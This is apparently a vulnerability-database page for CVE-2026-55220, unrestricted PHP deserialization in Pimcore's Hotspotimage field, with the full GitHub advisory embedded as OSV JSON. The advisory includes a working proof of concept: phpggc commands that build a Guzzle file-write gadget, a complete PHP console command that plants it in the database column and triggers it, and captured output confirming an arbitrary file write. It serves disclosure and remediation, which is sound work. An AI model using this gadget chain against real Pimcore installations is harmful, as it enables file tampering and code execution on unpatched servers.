CVE-2026-55220: Pimcore/pimcore :unserialize Over Object-store Column (PHP Vulnerability
CRITICALCVE-2026-55220 is a CRITICAL :unserialize over object-store column (php vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Pimcore/pimcore libraries in the Packagist ecosystem. The issue involves :unserialize over object-store column (php object injection, cwe-502). Remediation is available by upgrading affected packages to version 2026.1.6, 12.3.10.
CVE-2026-55220 at a Glance
How to Fix CVE-2026-55220
To remediate this vulnerability, upgrade all affected Pimcore/pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade pimcore/pimcore to 2026.1.6
Upgrade pimcore/pimcore to 12.3.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for pimcore/pimcore
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55220, inspect your project dependencies for Pimcore/pimcore:
inspect dependencies for pimcore/pimcore
Analyze the terminal output to locate any version of Pimcore/pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.1.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Pimcore/pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55220 Affected Pimcore/pimcore Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pimcore/pimcore
|
Packagist |
≥ 2026.1.0
< 2026.1.6
|
2026.1.6
|
|
pimcore/pimcore
|
Packagist |
< 12.3.10
|
12.3.10
|
References
Frequently Asked Questions
What is CVE-2026-55220?
Which Pimcore/pimcore versions are affected?
What version fixes CVE-2026-55220?
Is pimcore/pimcore affected?
What CWE is associated with CVE-2026-55220?
How can I check Packagist dependencies for CVE-2026-55220?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-w23p-wrp7-ch38",
"modified" : "2026-08-28T19:13:25Z",
"published" : "2026-08-28T19:13:25Z",
"aliases" : [ "CVE-2026-55220" ],
"summary" : "Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)",
"details" : "## Summary\n\n`Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\\Tool\\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper's `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. `guzzlehttp/guzzle`).\n\nThe same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument.\n\n## Severity\n\nHigh. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.\n\n## Affected component\n\n- File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`.\n- Vulnerable lines (v2026.1.4 / v12.3.8):\n ```php\n $metaData = $data[$this->getName() . '__hotspots'];\n // check if the data is JSON (backward compatibility)\n $md = json_decode($metaData, true);\n if (!$md) {\n $md = Serialize::unserialize($metaData); // unrestricted: allowed_classes defaults to true\n } elseif (is_array($md)) {\n $md['hotspots'] = $md;\n }\n ```\n- Root enabler: `lib/Tool/Serialize.php`\n ```php\n public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed\n {\n if ($data === null || $data === '') { return $data; }\n return unserialize($data, ['allowed_classes' => $allowedClasses]); // default true = unrestricted\n }\n ```\n- Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\\ClassDefinition\\Data).\n- Package: `pimcore/pimcore` (Composer).\n- Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`).\n\n## Data flow\n\n1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `<field>__hotspots` object-store column — i.e. PHP serialized bytes, not JSON.\n2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list.\n3. `Serialize::unserialize()` invokes `unserialize($data, ['allowed_classes' => true])`, instantiating any class named in the bytes and triggering its magic methods.\n4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `<field>__image`.\n\nThe attacker primitive is the ability to place crafted serialized bytes into the `<field>__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.\n\n## Proof of Concept\n\nVerified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore's own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\\Cookie\\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).\n\nGadget generation (476→474 raw bytes, non-JSON so the `unserialize` fallback is taken):\n```\nprintf 'PWNED_BY_DESERIALIZATION_%s' \"$(date +%s)\" > /tmp/ggc_local_src.txt\n./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\\n' > /tmp/ggc_guzzle_fw1.ser\n# stored bytes begin: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{...\n```\n\nReproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_<id>.img__hotspots`, then reloads the object through the real Pimcore model layer):\n```php\n<?php\ndeclare(strict_types=1);\nnamespace App\\Command;\n\nuse Pimcore\\Db;\nuse Pimcore\\Model\\Asset;\nuse Pimcore\\Model\\DataObject;\nuse Pimcore\\Model\\DataObject\\ClassDefinition;\nuse Symfony\\Component\\Console\\Attribute\\AsCommand;\nuse Symfony\\Component\\Console\\Command\\Command;\nuse Symfony\\Component\\Console\\Input\\InputInterface;\nuse Symfony\\Component\\Console\\Input\\InputOption;\nuse Symfony\\Component\\Console\\Output\\OutputInterface;\n\n#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]\nfinal class E2eHotspotCommand extends Command\n{\n protected function configure(): void\n {\n $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');\n $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');\n }\n\n protected function execute(InputInterface $input, OutputInterface $output): int\n {\n $o = fn (string $m) => $output->writeln($m);\n $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');\n $target = '/tmp/pimcore_pwned_hotspot.txt';\n @unlink($target);\n\n $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');\n $class = ClassDefinition::getByName('E2eHotspot');\n if (!$class) {\n $class = new ClassDefinition();\n $class->setName('E2eHotspot');\n $class->setGroup('e2e');\n $field = new ClassDefinition\\Data\\Hotspotimage();\n $field->setName('img');\n $field->setTitle('img');\n $panel = new ClassDefinition\\Layout\\Panel();\n $panel->setName('Layout');\n $panel->addChild($field);\n $class->setLayoutDefinitions($panel);\n $class->save();\n }\n $o(' class id=' . $class->getId());\n\n $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');\n $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');\n $asset = Asset::getByPath('/e2e_pixel.png');\n if (!$asset) {\n $asset = new Asset\\Image();\n $asset->setFilename('e2e_pixel.png');\n $asset->setParent(Asset::getById(1));\n $asset->setData($png);\n $asset->save();\n }\n $o(' asset id=' . $asset->getId());\n\n $o('=== STEP 3: create+save object carrying that image ===');\n $obj = DataObject::getByPath('/e2e_obj');\n if (!$obj) {\n $fqcn = '\\\\Pimcore\\\\Model\\\\DataObject\\\\' . $class->getName();\n $obj = new $fqcn();\n $obj->setKey('e2e_obj');\n $obj->setParent(DataObject::getById(1));\n $obj->setPublished(true);\n $obj->setValue('img', new DataObject\\Data\\Hotspotimage($asset));\n $obj->save();\n }\n $objId = $obj->getId();\n $store = 'object_store_' . $class->getId();\n $o(' object id=' . $objId . ' store=' . $store);\n\n $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');\n $db = Db::get();\n $payload = $input->getOption('benign')\n ? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])\n : $gadget;\n $db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);\n $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);\n $o(' stored prefix: ' . substr($stored, 0, 60));\n $o(' json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . ' (=> unserialize fallback)');\n\n $o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');\n \\Pimcore\\Cache::clearAll();\n \\Pimcore\\Cache\\RuntimeCache::clear();\n $o(' target file before load exists? ' . var_export(file_exists($target), true));\n\n if ($input->getOption('restricted')) {\n $o(' [negative control] fixed wrapper allowed_classes=false on the same bytes');\n $res = @unserialize($stored, ['allowed_classes' => false]);\n $o(' returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));\n gc_collect_cycles();\n } else {\n try {\n $reloaded = DataObject\\Concrete::getById($objId, ['force' => true]);\n $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load\n $o(' reloaded class=' . get_class($reloaded));\n unset($reloaded);\n } catch (\\Throwable $e) {\n $o(' (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());\n }\n gc_collect_cycles();\n }\n\n $o('=== RESULT ===');\n clearstatcache();\n if (file_exists($target)) {\n $o(' [VULNERABLE] gadget file WRITTEN: ' . $target);\n $o(' contents: ' . trim((string) file_get_contents($target)));\n } else {\n $o(' [NOT TRIGGERED] target file absent');\n }\n return Command::SUCCESS;\n }\n}\n```\n\nCaptured output — RUN A (positive, gadget):\n```\n=== STEP 1: create DataObject class with a Hotspotimage field ===\n class id=1\n=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\n asset id=2\n=== STEP 3: create+save object carrying that image ===\n object id=4 store=object_store_1\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n json_decode(stored) === null ? true (=> unserialize fallback)\n=== STEP 5: clear cache + reload object => getDataFromResource() ===\n target file before load exists? false\n (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\\Cookie\\FileCookieJar as array\n=== RESULT ===\n [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt\n contents: [{\"Expires\":1,\"Discard\":false,\"Value\":\"PWNED_BY_DESERIALIZATION_1780420803\"}]\n```\n\nCaptured output — RUN B (negative control, benign JSON in the column):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n [negative control] storing benign JSON\n stored prefix: {\"hotspots\":[],\"marker\":[],\"crop\":[]}\n json_decode(stored) === null ? false (=> unserialize fallback)\n=== STEP 5: clear cache + reload object => getDataFromResource() ===\n target file before load exists? false\n reloaded class=Pimcore\\Model\\DataObject\\E2eHotspot\n=== RESULT ===\n [NOT TRIGGERED] target file absent\n```\n\nCaptured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n json_decode(stored) === null ? true (=> unserialize fallback)\n=== STEP 5: clear cache + reload object => getDataFromResource() ===\n target file before load exists? false\n [negative control] fixed wrapper allowed_classes=false on the same bytes\n returned type=object class=__PHP_Incomplete_Class\n=== RESULT ===\n [NOT TRIGGERED] target file absent\n```\n\nRUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\\Cookie\\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs — i.e. the proposed fix neutralizes the attack.\n\n## Impact\n\nPHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.\n\n## Remediation\n\nMake `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.\n\nPreferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place):\n```php\npublic static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed\n```\n(i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `['allowed_classes' => false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "pimcore/pimcore"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2026.1.0"
}, {
"fixed" : "2026.1.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2026.1.5"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "pimcore/pimcore"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "12.3.10"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 12.3.9"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-w23p-wrp7-ch38"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/pull/19181"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/commit/b184c01bf11e213e601d965b4e96c8bb7248e980"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pimcore/pimcore"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/releases/tag/v12.3.10"
}, {
"type" : "WEB",
"url" : "https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-28T19:13:25Z",
"nvd_published_at" : null
}
}